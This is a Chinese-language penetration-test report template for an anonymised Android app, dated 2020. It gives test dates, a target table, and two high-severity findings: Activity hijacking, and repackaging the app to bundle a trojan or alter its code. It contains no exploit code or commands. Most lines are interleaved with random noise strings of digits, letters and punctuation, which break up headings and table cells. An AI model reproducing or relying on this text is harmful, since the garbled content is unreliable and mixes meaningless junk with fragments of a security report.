8 I B7 F0 O/ a( A7 r" t3 o
8 Y9 x/ X* _9 H, q. ]+ D U" G8 n" H. L
, O7 j8 y) p2 P- q. _6 o0 M
0 d& `) p: c+ n h, Q/ v0 p1 I: q0 V8 b0 X" z6 A" |; p2 E
) c+ k: m8 s; c+ N1 b7 d j
& N+ Q+ `0 E |2 f9 j
) T( {2 m2 c/ B# V0 a3 y4 M7 W' S9 k8 p7 c6 \
m& J6 C, @5 j1 F
3 d$ x, E+ v9 w% ~" |+ G% Q
文档编号: " G! ^5 b# k5 S s
, ]; g) ^) Q! X, q4 l! @
8 w: t. f( o( P) h3 q0 k6 I0 {9 E4 \9 ^
3 `8 a7 h% _ T
- s }: E! ` Z/ Y5 [
$ K. z6 p. Y7 A; S8 E
$ R8 L( l* B) Z/ J" S, @/ s! ^$ k# V G, a
* d V) @) u/ F5 h
3 A* e- Z2 _8 Y1 Q/ G3 F1 p- P; X
, \$ s5 h3 | N3 h$ y( ~" q
+ `5 G0 F F/ a8 O7 |/ B
' E1 o9 K" l0 W2 q5 K' p2 y
$ R9 ], s# N I1 G8 F2 e; b3 d
8 K$ F- h2 g1 s% P$ u
3 j Y C; q1 \# Y
) C. Y3 N5 n8 V# @; m4 u( D( L
, v1 v6 ~" i* o" z( @4 _1 }7 Q / R& C. [0 M5 |+ | n7 y+ X3 s
3 u* W) j/ Q5 i; V5 D. Q
2 f2 P7 ]$ f8 p
J i- C- ? ], ]$ ^6 M
: j e0 R9 j7 F) |+ c0 P7 r: b z
* Z. I) x* M& s' {- C8 U
/ D; U5 _ g, y' V% h7 [: m
6 L, e+ U8 v! S; s) d( d8 e
* S0 ?7 Q! }# M4 f$ t8 u4 s% Z: X+ k, }1 ?
/ i" N6 O0 J+ q. A$ |. W* X4 A3 w6 A. Z
& |( m! j0 i0 t' v0 [ s
3 v) S9 d* f' ^. M u3 J
8 ^+ |& @4 |1 g% ?/ b! N
, J( Z9 |$ o/ s
5 M3 n: ^" A7 Y4 F! R7 W$ f! q# n% A
" P! l/ `7 C$ t% U! b 某某某APP渗透测试
5 J% B- E1 j: d5 T* W& I+ i' Z6 B# b. E6 Y) M/ \
- r% q) v r/ `/ R
! |* v4 O, @: H- M) N" N0 C* T & b, l* s6 x1 `; |
" {6 \5 _. i8 e* j* z) ?2 q C( B
( R; T' N. }7 w, r- u9 ?6 ]% A) W: C$ o7 W
2 C7 ]9 y9 }6 t3 O6 v9 S! x/ H
+ E9 W" O1 E6 g
/ N) t( R5 a9 U) Q/ }/ `5 v* Z" [
' h" P' V- }) Y4 P' d+ i$ f
! c# l: S+ j# v! D+ w4 x/ z% C/ Q
6 m7 Y8 m% X7 R, G! H6 e8 L5 ~# s) b: ?9 i) n0 V4 B( o
) f; e8 o' ~( |+ B& @" t8 C+ m+ V* ]
! V% N& @* a/ D3 l" v4 _6 s5 _
* Z4 j" m4 G: F& h1 X
4 h$ l4 X0 e( r
" m( f6 C2 L8 d1 W. p F$ q ' i4 e: @3 u/ g2 c0 ]3 k4 |6 v2 J
' G8 y8 d* v4 G, E1 J
5 G9 C* ^) p t
8 s% T! |* u" I9 i5 h6 v
+ [: k7 e! M2 o% J
2 D2 w6 q$ a9 b8 A5 a
1 [2 G* B9 |% p5 V- P+ T1 S1 h% _ ~
9 \, I5 I1 Q, e6 Z ~ 技 术 报 告
! G+ O' n# h3 \+ n, Q l+ p$ D! s5 ]9 Z, d
6 J# }6 @+ Q ` D- G
+ M. S( _ _: i9 v
- L) S8 ]' u. j# S3 F# E) s, [% m, Q. v' H# f: t; p
3 T# F; ^& b" l# d* w2 E+ j, v% i+ m) Q6 J; w
2 N, \* R2 b: E" g
% z; _" O$ a& c" S: H1 D) l- U
9 s2 J+ z1 z @# }% ^6 p p7 z0 ~6 T2 q f( Y2 e
+ D: \/ U! _! w; }8 h% Q
r, R- L' e( P9 I2 y3 m9 V1 W- h
: y! ~' R d0 F* u, j
/ c5 _$ w7 L+ m
4 W& r# r" z" s9 v! h' z' x
3 n+ y" i, L, c' z) Z/ Q
8 W/ [; I" B0 D) i
4 n5 \1 r7 H6 t/ p2 d' P# }" p$ |( }
0 r0 O& l' ~9 F0 @( `9 O7 e
' e( u+ P3 k: c* Q7 O : U8 k! U: g0 s8 ?& x) ~! t
8 U2 F2 I) b# u$ M* \0 ?7 G$ Y
" m# N6 ]' G5 P$ F7 u
; R) C1 v, f3 z% v
" K% u6 R" c% q
5 D0 K# Y+ H, H. } + a5 U+ z, D. o) _6 d& c
9 ] i) {6 A6 u1 d
7 x* u5 R N$ Z# D& h/ Q& L$ c
9 c( x; t4 T' P
& c. d) p! |9 A& g" c+ J# n2 w
- y3 y& U+ }2 N! Y# q1 t0 }
* Z/ K, R$ X4 T+ `+ u7 a& @; o$ _6 C/ D4 J+ h& z
% A0 {# L! |; i+ C0 b
# B, x1 Y& }5 @- s" Y/ R1 f
# E3 m$ W9 D$ V
7 w; W: d% S r7 _7 O3 E
6 O3 `* C' ^5 Q) q7 r5 e0 a5 J4 N3 z' {2 T& U; M$ s$ S3 ?1 h( p( p
9 x, \( l# y* X9 [( @3 M. X, E0 }
+ G) p6 @, M) `2 p& g |- u! T
! l2 O* |) Q5 f' c2 ~; P
@" _, _ Q7 X
' q+ V. E6 p7 @2 `# X
6 N. z5 O, j! m* ?: \' U: s9 }& n $ r, C5 p* B4 A' ]% i' {% S
$ p2 K' ]: o% p2 {$ l
( I) e5 G5 B$ R
* U# [4 w* A0 \. F# j( [ 1 G3 R: z& R+ K4 D/ H( u
1 \& u3 Q2 O6 v! \ s
) S; _, I5 @( M' T% P
0 H' f/ c D; ~9 b% f; V
/ K" @' h3 H& Z+ K* _- F0 j- e
6 X0 d1 d% }+ |- f % E! \) B( H/ t( A5 E. n+ M$ u
4 _ X6 }6 ]9 _' P0 B+ n% K2 c
7 v6 ]* { `! L% @7 {5 |1 a. f- c1 b6 N
6 d( N* E7 A7 ~# u
: Y S/ D% u# }+ r4 w
! h- B9 ?. u/ i! j+ B, H' c. P' q% z6 p2 y
; a& z4 f6 [+ `6 C7 y2 o/ ]2 ]. }! a2 z0 r5 W- x, x! l9 n6 [0 J
7 Z* r9 Q' b; w9 `6 _5 Z
( U+ Y) L: v& r- j5 j6 `8 W ) u2 Q; E' L. e# Q# H
6 s3 t- H$ e. S* |- L) J8 Y3 ]5 x & V; a) A; c3 M% X
8 a; A0 ^. K! u" }/ S" z/ V
# g6 \! m X! v. z8 i) b" ~1 s# |8 ` n. ^; D. H5 k) j# A& n
! ^: p% u c' F7 A0 O' x
* C5 g% l" |% Z5 I
+ [, A" _/ F- i, ?
( Y$ {- O* M0 v, m0 |
7 T; B2 L8 X1 u% P8 V
" Q( m4 J; j! z/ C2 [! D$ @
8 ]+ G/ G9 F( S( |& {5 n; B R& L* R
& t, |0 F: q6 c$ v3 O4 K
) M* d$ J* p6 i( M3 m9 M6 P1 W
- [$ ]5 ~3 L6 h6 F+ f/ y3 x! b
9 _. X% }3 b& M& W0 T8 ?( |4 n
2 d( F! r% [' H! ?" z' z2 d! l) |0 v8 T2 M
/ S9 W- J5 o# B% a9 R
& T6 }6 G- v# f+ S
: ]4 t3 c& q# l
6 m7 I8 C3 n( b( v & G+ a% S. Y2 C |, F8 J: Z+ z4 L
! A; D+ U0 G _+ ?
& G7 a& W% [+ @) x$ W; m& G& {! W% D" ]. X' `0 \2 H# U
7 y, d8 D+ F: h$ h! a6 O, Z
) d* M0 d' f `* K/ | 5 T& M) i" b- g; y( R" o+ B5 ^: |9 X
* r- g- c" l3 b+ {' F# p
% h I, E+ k: {0 n/ l9 |0 R0 a; m2 X% {" E5 v+ `+ h
5 y0 q) B: _9 O0 A- u* b8 S- g G- K3 C8 w1 W
: Z o2 l; D+ P+ u
1 }8 Q5 M9 O* H" _) a) y5 O. H# v9 G6 M
2 K9 s# p3 ~7 {" X, P0 u
7 K! b, }- L# t
, L0 A! j7 j# v& r: c6 P- q v4 H- h8 z4 `3 p' o! a( z- r
% _$ V- _. J& v% }* u. h p2 K- H8 s8 ^
二〇二〇年 8 Q; }( _' \# c
: J2 R/ {7 [3 i. @7 y
! Z- s d- \( T% G/ o
2 w/ L' u! p8 p- h% K
$ w x. |2 {0 ]3 J c- y( R# C5 G. ]3 f+ O R8 j) c C9 c
' E) `; g4 ?1 q5 T, t! ~- x4 F2 U, A
5 }$ H6 I6 x) P: n1 q! N: {
4 I1 ^# g4 K' u4 a3 _7 H( A8 ^1 l- |! H) A. P
& a y, Z/ y' a
1 ]. ~5 J, R% `& D @! X9 }
) ?+ Z, O" w) Q6 |3 m
/ Y+ b3 B1 t! p' Y6 _
! H+ Q+ S K, Z) ~0 G8 U% c+ R
3 y0 \6 F% b! N- }
2 u0 N, m/ ?$ K& h
3 b( _7 q& E# V
% D6 r7 M% L( S% }5 m
; a5 \3 ]) `( J2 f. @; Z
# H4 ?8 R1 y% U3 m/ B
: f! x; c6 i* N8 T$ x/ J 目 录
5 h& ~+ L9 n8 i. M* j" @# I) K* e o0 y/ M+ [8 Z. l
) ~) S4 [9 r. P
6 L, R, y: u" V5 R* f) \ }& s
$ j" |7 i( e, @) U, ?: o" C0 K7 ^& e5 }/ s
4 w8 M7 o6 F+ u0 D/ v( q% @
4 {) H; H! c! i3 z! |7 V8 X ) a! l: |. k0 s9 D0 V$ h1 g
9 M* b% f6 S6 v( g B
" A5 C* _% F- Y& C4 d2 S
% ]7 E1 a+ A1 g
' `" L+ H5 y8 d! A
- b! ~; [- g! N% t$ k7 ] 1 概述... 3
1 T5 w9 s2 O; b" U0 u0 o1 G) C! S& _3 m5 U; Z' b5 i
. Y8 H1 q$ S# _
# Z; T+ M8 K7 ~" @% @# J
9 n* w ]2 _2 ]4 o
: x9 M: l( R- a$ X% q. W 1.2测试时间... 3
' \/ }7 q- W" A( O8 j
1 f. @: ?& j, m W6 h) R& O) i
' Z, [4 l0 l$ u- d- L2 P/ [6 d) A& a( r. y' b4 v
& }9 C; n" i/ U& r* o
+ `5 h8 E+ P: s; t6 c7 G$ w" h* i 1.3测试对象... 3
4 F% G! _; P A/ W- k
8 d& N2 H5 D* ^/ P1 S2 F+ s
$ q6 i V( `6 v4 J1 Z; X# l7 p( A. q: O! {+ H: \9 }" ~5 ^% I) o
- E4 n* `2 j( a
5 k+ i. o8 j, m% q$ q
1.4测试结果... 3 8 {* d1 L2 w3 x% x, u
- r) {; Y/ A4 n. F% ~6 ~
! z6 c, v# A; G; |- l- y t
. N6 g3 c8 X; X# ]$ x/ ^; K
0 p `, ]; I; o h# e; Q" d" x' a K- T) j
2 检测结果... 4
) O/ ^. s7 f* {" x ?. t( k+ v- U: g3 S
( I7 Q5 j$ P( j6 V9 ?4 F. r7 V A; W" \2 k$ g& |1 |' Y& Z
# S3 v! \8 X' q$ @( \- A/ Z% @3 e( c% h* h/ [, M' s
2.1 某某某... 4
: X7 g% z" Z; Y/ g! v0 _* s$ f! S; Z# F$ [; Q2 k
2 \7 q+ o! d& v8 h% {8 d: u) n0 C4 B. f4 p( B
1 G# L6 y* g- J3 X' H; Y
+ L; D' U# L; C" W- j* @ 2.1.1检测目标... 4
) r3 f Y# m( Q" c5 q0 {3 U5 y l0 ~% c1 U1 Z1 h
- e1 ]/ j) l' ]; u
: v8 b H8 O( o4 Q1 g( W, q
% Y- z1 e' T% q$ K8 f) q, f4 u) d% P3 v- U# x7 ] E
2.1.2检测结果... 4 - M; ` p$ z4 l* |& h. n. P3 H; o
$ o7 F% c" V9 y; M) U6 V7 n1 @; m& R
; }4 t7 a# K, y" {0 a: C6 z9 P7 o
$ u8 Q8 A# l- V/ O; |- f
! v4 _. n6 z5 z$ W1 T& A 2.1.2.1. 4
0 M7 j9 a" k0 {/ a7 P+ ^- P& }) I
4 a( ]5 e- W- I1 L2 s
0 n$ [4 b# _( ~% o: d- t
: H* ]# I4 A4 B0 Q( [6 D% X . v9 t7 w0 | {5 D
0 @! j& l; G' X: t6 M
2.1.2.2. 6
2 `4 z, N% I. r! f- y, j2 W1 l. R9 Z8 W
* {; ?$ E* a7 w$ ^5 ?
0 _- T4 R7 T; L; u" ?
3 x$ I. m" F* ~9 n' f$ k* A+ d% }0 g8 F( g
3 i# }$ y3 ~, B9 Z( j, y1 g3 r/ f; a/ B4 g
+ t _4 f' E: v# g% S
$ D7 S$ A8 o+ m9 y P
- f& {* F+ K; f0 P1 ]) f3 _; N/ A( h3 V6 ? j
: J) p+ n$ j! |& X$ d7 f- d0 W6 q: M1 j+ A8 |
; t/ A$ g& v1 b, |: c9 u: R/ c
5 B0 |* m2 ~ s; d% Z
- K6 d6 j" I( u \% V) s
( Q2 W1 R( `! S9 Y / o1 V8 d6 q) J, P& R, ?
7 Q+ V4 H4 {0 K% W/ m 1 概述 5 W0 n( |2 a/ R& d# e, ~; k
* h7 Y& p! r& H4 R, B( s0 e
; U, {( u# C5 W! ^$ r4 v
& ]5 U+ G q* A( U 6 H" W: L6 i, o' U% J* ^
* D% t7 Q% N7 F2 B 1.2测试时间 / Z$ n; \7 z6 Q6 u9 J$ \+ D% K. R# I
9 b0 o: S( ?% T/ F% _
& }+ d3 X; ? G, E$ D0 ?) f# ]
7 t8 P) ?0 N3 }/ y3 d7 J
, |: v% L& Y2 @$ j8 P5 V* z% Q0 l
- x& f. f$ p' I" C- L7 v% e 0 Y& D) q; a7 D* |; H7 [" j5 \
; X; I5 r! O" S. v d
* ], k2 ~7 o2 B2 w
& i9 I% P4 G/ f+ {
2 X, W5 P2 _& B! K: f- W q
) F6 r3 x7 h2 g
: k- S/ z5 Y `' G G* ~# r7 g+ j8 g
0 c( {# G% t4 p! i' u3 Z1 L 渗透测试时间
9 d+ U0 H9 y8 n, a2 z$ r, e+ V% I) b5 ]8 D
@; L, U* A6 Q% u" h
2 j' T" ]: C/ p; x
| . y' P9 V& s+ S# J8 b
5 B. y7 v# y* A, P8 K9 v+ \
" j% M0 E$ J( G3 {, P
4 z6 Y9 Y) k! S( X; \ & c& y) D2 B6 \' T A
3 y/ s9 `$ Z3 T$ Y& D- T" Z+ g" Z/ q* F
# o5 R: s% x" K8 A8 f& ?
4 d4 K( R: F+ t+ o6 U' s) W
I2 D, ]& m* @4 `% n
6 D/ \/ g j! d; G 起始时间 : y2 b5 B$ v1 R
5 U4 {. k9 F5 A( G c5 T
% g, P1 a! X/ e6 H. N4 a$ k5 _" n
# | {" H0 U; y, p. a2 [ | 3 L: f& n- V7 P5 Q, @
# J9 {8 n9 J2 d/ M
2 h/ T' N( o5 b0 y6 B( T" G7 }+ ^" ^
( t1 j! [6 W1 [/ i' k" Q |
( f5 s, S' ?5 G1 D0 P4 X
2020年4月6日 4 G) Y0 v9 X, F7 V( n# p5 a
1 n, o$ D( q$ \6 q/ E T U
8 r5 B. H6 y4 Y0 |$ @8 W
$ f, `4 `5 K2 f X2 d$ E# J |
" Z1 c4 z, o/ F5 h9 m0 W) e: q0 ^4 d L! [! t; z% Q
2 F5 R* r: q/ v! G' e0 c8 R
$ e$ M: j' Z9 }! F" D
Q+ U* P; U4 p9 ?! P7 M; U5 Z) ~- s( H! ~1 H7 S1 J
$ ~# N3 i7 n8 E8 J4 J, A; [- O9 [0 B& q6 @ a5 Y7 Q
2 X% e( [$ Y* e# Z/ }- O
' N( B% [2 P i/ P7 K% S 结束时间
7 e6 _7 l# v! w7 N: c$ a3 w% ]0 M' j$ r
8 u9 ?( a4 P/ R1 M$ h
& J/ C" K5 n! f8 Z/ a w' D |
8 O- @, a4 Q" b# d
$ o% h. |/ g; X# P / L# f6 q/ ?. }- p. ]9 C
8 T! x/ V" i. f8 q0 |2 k" [
0 W/ e5 u$ C4 ]: \) K
# `9 e5 x/ }" F, u" b# A. N( @ X0 K 2020年4月9日
( i/ V* Z* Q9 ~' I0 M
* M) a4 N! K7 |
" `6 w5 c: C- H, A& D; [/ K; `( U/ _, V! T8 V; N
| F) {4 `. \; t. k8 C) w8 c1 x2 N
1 C3 l% \ w8 B1 w1 z/ B
; P6 |; |3 U1 r7 u
0 T+ Z# |1 H& J: I( X9 z! Z 7 t2 {8 L' M" }- I5 j
0 n% r. p1 ]0 B, H- `
S4 I+ e* B8 ]! g" z1 H' }! X) m5 |% P8 M& F5 h6 q. t; d1 q+ ?
4 }4 N0 ~. {" ^3 s3 @. Q5 K% p
, n( `% l/ T( v0 Z, T% i' E) W% E 1.3测试对象 3 p7 g( N6 {+ H3 `5 t4 ~' y' U
/ z- C- x1 O5 }+ i$ [0 Q
# X2 d* r- x% D1 z% V8 ]+ Z( I' E0 w: c2 J* u
6 X T: b& N6 K% T. y e) T: p- A
9 g/ R1 _, n6 M- a+ z) s# o 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ) }& R( c) V8 o; x: t; j
4 Z" z) i2 A; n6 a* F& ?
1 g! ^- p" C. K: j
$ }$ B' k' @/ S0 d( P, L
* f* d/ |! M) d B, k$ H+ ?
$ s9 d5 n3 g3 j 表1-1 检测对象
0 C# _- [8 n8 i( h2 z: ]
C( a" q/ ^1 g
6 J7 M; ~9 x0 i/ @" X
* x6 m3 W& B( I7 U- {1 e# b3 L- n9 ]
9 t6 A, l6 T3 G& f% X/ k2 |" K9 x* A: L3 V7 `; k6 j: N: e
7 i/ Q. L+ N$ b R8 g1 ^% j' U" U; B
7 }2 V# X; K( e/ Q- ^ 5 x9 x5 s# f( k
0 H6 r* e3 Z# H; a0 E, }
3 J! b& I2 \ g# y
) w9 k: h5 V K4 t5 ` 4 `% N7 E8 R, A- w
7 c$ h6 o2 w* t, i! T
序号
* x' E5 B, {& j) B0 y4 f; P9 l' O) f5 p6 i5 b; h: @
7 z/ a; X( x4 v" t( p) c( ], X3 E3 w- i6 T
|
( v+ j( J1 V+ V2 N% y, g( F) p! t! G8 x) g
2 H, f1 w$ g1 u
9 R6 {. C/ P: X- N
$ ^$ \6 G8 u! I2 \% Y( ~* p5 w. q
* }: L* r0 x: r! f: n* `& f 测试对象
/ U' r5 g7 W- u; b5 g( `6 \3 W! x; \4 ?" p, g
! e4 w8 b2 O7 u4 Z% T1 h! D0 ]' O
! _, ?5 e( P V S | & H2 v/ D i3 R7 j
+ A( J: p7 P5 e- A8 r$ c + L, V S9 `" y" K# {6 q
3 b* R# d+ e. e. f% \' R
8 v+ C: Y ]& {- W0 o( z. g8 f& y' N0 I+ A, D5 i
测试地址
) N, z4 s! I9 m+ n/ C1 D7 m$ b: }. C2 z
/ \$ [' u1 A L1 |* v# S. ]" h ]
; M9 D( {% g( U( m& `" s) H: |( a, R4 g8 ?5 C6 A" e
|
* E2 N( x7 a' x; m$ z5 S2 D ^8 q+ {
% l. }- h0 l! {# I8 U
! A- p2 A9 Q% E5 w* f
4 X/ N# \& i! ~2 q! z8 Q* ~( o0 E5 i5 x) {3 y2 f4 e
安全漏洞
! a/ x0 |! H" K9 E* Z
! w# c7 m- q# J( s # e2 `2 `# q+ Z7 }/ C9 _: {
- `1 ^' X" C+ M; t | # A1 i3 H3 t7 k- o' X' `/ ~+ {
3 h- _# n1 F# p$ F+ i* A
: I( `$ N% g1 A3 w( R
/ k! h# g/ L$ y, p% ^1 x
0 o$ o7 n: T! S. C1 u# L
. r6 B; g/ A- ^! k& U5 L, [ 9 q: s2 k2 w( z% Y+ V
7 ^# x* S: b6 b: N
9 e5 `; y; L, |% u! ~
- Q( u" z/ H0 K% o s8 p$ W
1
! e+ a' R8 n4 `" H1 E; S8 j3 J r+ X: P, b$ D, _ A9 z) U
! M$ _8 Y' G' g$ z" B
8 n# n ?/ c; \& a |
]8 _2 ~* H- o0 X* [' ?
" w |. K& O7 F ; K* ?2 z6 x& f6 Z0 u7 Z# h- B: i
9 a4 |$ m) H4 r, f% ~ 7 j, M- I* ]& z
* _8 o% I1 M w3 B4 e& C- ?. s
某某某安卓APP
$ Q- x: ^2 {# E. h! N* e- [3 W8 y* I" F6 b; c) x% l0 }' Q; t
( t8 M5 t6 @& U& j+ p; ^
$ \2 J5 o x! u8 Z$ E& t2 `6 M0 c |
8 M0 T$ g2 S7 v: N* W* C' ~1 M; U% u4 y+ `" v
) q: o& p/ }9 N2 `5 S% M6 C1 p3 ^% q8 o/ @; E$ \
! w0 p$ ^' U4 x( e8 r: |' v2 j0 r% m* K; b2 q: [6 e, y
* _" T2 h0 L6 W- s( y( X( n
3 q+ q9 N) `7 `# @6 G. x
" I' _/ `: `) d: S1 Q
G( |$ Z; L3 H
| # I: ~" o% j2 \; M+ s
9 I' o4 B8 g7 v' ?2 D3 C B0 v; I$ V
Y; F' o! W$ p* X3 h, f
. x# d: s! }$ r1 F* F: U. J ! m6 I& E: h" Y3 B# l5 I
6 u9 D( n# d) W" z 2
$ h4 S: g# K7 z @ E* ?5 W+ p# V) j2 X& o3 B4 k
0 \' g& Y* {1 o
8 I% ]5 F! E3 ^: ^; Q) S% I/ ] |
9 x& S: y6 |7 C. p2 _/ T; D: {/ @3 ~" T0 a+ @
. `$ |. r4 y' I
) J) i4 C6 f7 v% {# w# W, n
5 K, G m( @ }; Y+ f: Z W# E9 K. J% J* I3 V
. }! v6 m2 x! y& p# v1 @
4 C+ ?% a! I+ |" [
9 q9 S- @7 c( ~" N$ A
2 A) u& |5 K& e- C. C 1.4测试结果
& ~4 U. I4 l$ k3 R, S0 A$ U8 s) E) E% w0 D( f
1 B ]- r1 x% q; [+ _9 _) L
# v& d X* `! Q. m8 } ' v7 k* \: d8 n* W8 h# m* L5 I9 R: s
* e- `5 t; `2 o0 z' y9 L 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ; _: y4 b7 f! t$ W: t/ o6 i% k
% |( ]0 j. a* ~
; d( c; V0 m0 T+ P; J9 g& D, D1 z o0 G! ~/ ^
' U. R0 B. U* j4 }! W! v
0 s1 T# j- y* J( L- C- ^ : s |: K( I2 F/ @& H
6 [% t9 o# k- ?
7 I5 {8 t( `1 r6 i6 q; f% ^5 d" ?: u) U$ N, P
' D' w5 N6 W6 w7 j" W0 J) q
1 V% d6 s: @0 L+ {9 f$ i1 X
. m- z/ _0 C7 ]8 X7 Y x
) l! v, C" |; Z+ i
1 J9 w! Q/ W0 ~9 F; @; W. p
% S8 W3 a! R! o' A 0 i/ f0 U( w$ @8 n
1 Y( z7 m$ z5 ?7 N2 { ( O/ y- A: K+ r4 |5 W
3 [' b, A5 O0 Z( V/ W1 I
) a T. W# p' O$ ~- t+ C- E
" f0 C% } l) W6 E/ L* k4 O 序号
' s1 p5 W N( `1 W' _0 M- `, }! F3 g E! o) _
; \% a6 X+ @5 V2 m# d* j* @' r
! l7 a9 a. T& V9 q |
6 _. i0 V, q: M7 r
" x5 t% \- H6 d! G U7 K" C- Q % [; h) j8 f2 N4 J$ f
1 L7 q# [! |8 D6 j+ A8 p
# n* t v* G* f1 w9 ^/ T0 L- Z1 _! ?6 R- ]
! U: F5 i$ f' ]2 A: { 系统名称
1 ^( q$ l( Q9 H ~( p7 s% i# q$ l) S* @* \1 H, a6 V' v3 y* h t
' l- j5 t' i4 ~+ n4 I- X m; Q8 h1 }# D# k
|
9 P$ [1 m( T& R6 g2 ?
3 p. [' i2 {, I9 q ( x& S) |, ~# U
8 u6 K }4 \8 M1 S; D& n5 j 9 @7 p1 O8 k) l7 x
: l1 E8 e' A$ [4 D3 C! j$ Y 漏洞名称
/ H8 D6 i$ p$ n$ f
/ O5 y* L A7 C! A+ f2 ^! ?
. _. v7 R5 |) K& W0 c2 ~
4 [% E! {3 K q5 t( [& t | : ^# I2 x* }! |7 L8 c
/ f5 I7 r# i3 B9 X 3 c6 A" ~% N4 k: g8 Z. ^
: l. m! r9 J5 w } " \# u( E6 z( N4 l" H" G% F
# x8 q; k, _$ D. u [2 @; R- c 漏洞危害
: q; E% l, q8 ~- }
( Z6 E3 [3 F% a. q+ c0 _( y
/ v# s2 _0 J2 A: W4 ?9 _( d; M7 ^' g4 E, a9 n
|
* d2 I! Y# I' M- w" s% ? p$ |0 N7 z# w0 Q* Q
" }5 p% C1 ^7 R% H/ A3 n K1 V$ U5 L! E' k& {
, q! y0 f0 W! e. X
/ A, R$ J- }5 A/ ]
修复结果
. |3 U& n: _" s% L# Q6 T0 O/ x/ S* i0 J
, E) I( u s, K3 @7 i/ B5 U0 B
3 `1 M& i% G/ q+ l+ L2 v | ) E1 t6 C$ C+ b+ d l
, ?- H$ C6 a. M$ g1 x/ k: |
[: g/ ~+ a: f8 J7 @* i. N
2 b& i) B$ z' g : g( M8 I/ H ~! A' p6 C& X! q
0 p5 q) `/ M# |+ E: _" x
1 s- M3 q6 K. m, B5 V( n
: G3 V2 e5 `7 ?# C \/ W 6 G: E$ O5 v e0 K: h3 t
# `2 y- M6 @# Z0 H; n6 s 1 ! y7 a |9 z4 x1 V! j& i; b
* C% v$ ^& T: @
6 v a0 |2 `: [7 t1 T+ ?3 W* n5 R, B2 Z
| . _, c2 ^' q9 U( @( i5 @# Y
' E. m1 s) v' [, B# H% y
' v' y$ h* ]) u: @
7 b* p4 D5 J( x# v
/ T+ F- ^ |, m" L" V
1 c. E* O W2 `8 i( q+ E, |) V 某某某某某某APP
" e( D) h: c' U" C6 J# z4 O) y# Q9 ^7 j8 }5 r6 v0 | e i
" ]6 O% ?/ h+ A7 Q
) B# P' P* [% `3 W; G4 Q
| ( V& ?# i J2 B# H. u8 |' H' g
* O: B6 ]" q2 L2 P) a+ s: h
) ^7 }! P E/ \' A, @; F
. |8 \8 D, i, q) q5 f# o* j
9 s! i" _4 m- Z% i- U& P1 R
- g: }+ M9 x3 E0 g8 u [. J8 v8 P2 X Activity 劫持
4 l# o! [, y* u9 j# A7 F$ B" M0 ?
@9 y, _, j0 w% N) j
( O9 ^" k0 {$ ?; ~2 P/ o( t
4 f' |" k3 u8 G3 K9 g+ x$ ~) a4 m
7 G( @$ U) _% a' E! b; H# ?% i6 v* w$ a M. y+ x5 v6 j
# f9 y, t6 n2 `! y4 V" ]* B6 Q( g" w& D
- i; Y8 I( d. z3 d5 J( h$ X# I) s 1 h0 {0 d. e2 ]+ h
* C& w2 Q, N4 C+ O | 1 X1 w1 x+ ?5 E: j2 A( p" [ o: o
" M' }+ |8 [: B$ [+ y$ ~3 M, M9 d
9 K( T; [0 F& J2 q7 R5 U
( }3 V& {. W( M- t9 m" c# R
( H |6 I6 T) F3 r/ C @0 Z
; t' F" C, Y/ N 高
1 r* k1 ^0 h, W+ b, b7 q* ~6 h6 L. ~( |. K
$ C6 I6 k! s' p, F/ N4 m
5 E2 }/ |; {3 m) B" p | # e- q/ ^$ l: T% T
- e" `" T9 R5 h& I. b0 u5 I, k
; y$ ]' a, _2 E+ b3 g
2 r; u; u) I: t u7 z: l2 T # L$ A( l' }9 F2 M' i2 ~2 U' M+ g3 }
, ~" b3 j( a# w2 h9 k2 `
6 y' ^ h/ v2 V6 q7 y. x# ^2 v6 o
+ [* v. r, ] `2 E1 `( I# o
' X5 Q. F# s* [) U4 r |
* k: d0 ^1 J- V* s9 l5 E
v+ T1 x; _+ N$ B
7 c+ l5 o r7 h
! [/ p$ j3 a$ f, U% d* }
! y4 b6 U e8 ` ]# l1 B+ S/ j3 Q4 j/ L5 {( D# I& A2 b
9 [$ i; r. G; |/ M& W* u
- I6 a9 i4 T T: y+ e8 t2 M `
. O5 V5 x$ U& Q' K p% p0 ^5 S$ ?& K# F2 n
2
3 D. W0 s: ]2 v- p
& {& _% i! b4 R: d) S7 Q5 i
; k( B# @: v6 h, j) q8 r6 N
: ~9 p9 W# o l) }+ Q3 l0 l | * F$ r0 V3 b8 ]5 v6 s
4 ^* I( j4 [, a
2 h: \3 T: C& o
7 f; s1 {4 p( ~ F; D
6 y- v [% P' ]+ Q; ~* P
1 @6 L. V7 k. G4 ?( _ 某某某某某某APP + n, W% y" K! {4 F( i E
. `+ W6 y% I6 X" g9 I( W ; o' O# ]: k# ?
0 k; n( Z/ l% t2 T* y
| % j1 t! ^' c2 Q6 G0 q; e" U6 ^
3 I0 @' ?4 s% m4 V0 E7 a6 S 8 f' r+ e' k* l/ Y- w9 e
- c5 H. [- L3 S
- W0 P2 x, d6 G/ I1 o2 |2 S7 @
5 k: J+ w* Z# a' } 反编译二次打包捆绑木马、篡改APP代码 ) V: z2 ]' i1 ]
1 s& _; l2 b Q; \ Z
& K+ I1 _$ ~2 L. _' c0 u: R& M
4 h8 D* P8 I9 L7 }& r |
9 Y) f) {' _. c- w* t* m
* y$ B5 H$ |1 L3 Z
" I" k8 I" z1 R* V. N2 \7 t. C
) Y8 j9 O7 {% l+ @: h * k" D$ e* K( Z# G5 h8 L# q1 e
3 t% |" h4 x) b. j, g. A 高 * W P) g2 h0 ^/ ^) c
$ j2 o# e b8 S' L+ }
5 s% ?/ ^: i2 `
( w5 ?7 [1 x% G( ~3 X/ J. B | % B& l: e) z2 \' `8 `7 z3 {
$ ~* u3 o6 ^& F 4 L1 I( [+ v; b! V' l
0 j2 T; l$ [' [1 S0 n2 s3 \
1 A* A8 ~0 m/ _" E
6 G9 \. B3 r# m
+ G6 g: b8 O, e$ x
9 @+ m/ m' b- |( A3 U # X- q" v( f8 } W( `% C
4 w0 M( I0 m, H+ V
|
( p) H& n" H2 B- P$ k- t- t: U8 n- h& B, o5 C6 E/ g
- @/ S2 f+ ^9 L8 L, ^4 o; L, W7 @
3 }/ U$ d E8 m- z+ Z ' ~3 V8 U) V8 ^5 b8 X, D/ {
! P2 R% w, d7 i+ I
$ ? A5 g- f- E
4 _$ B) @8 }5 x$ T L9 ?6 b
3 l* j* L2 m+ l# ?2 M* G
& L3 E1 \9 s y4 n+ `2 [ I! c0 X7 b3 U. X8 \
& _) c, @/ p+ b. }+ K$ k; z5 T$ i$ V
+ n$ s# M1 w/ [6 n3 v0 f
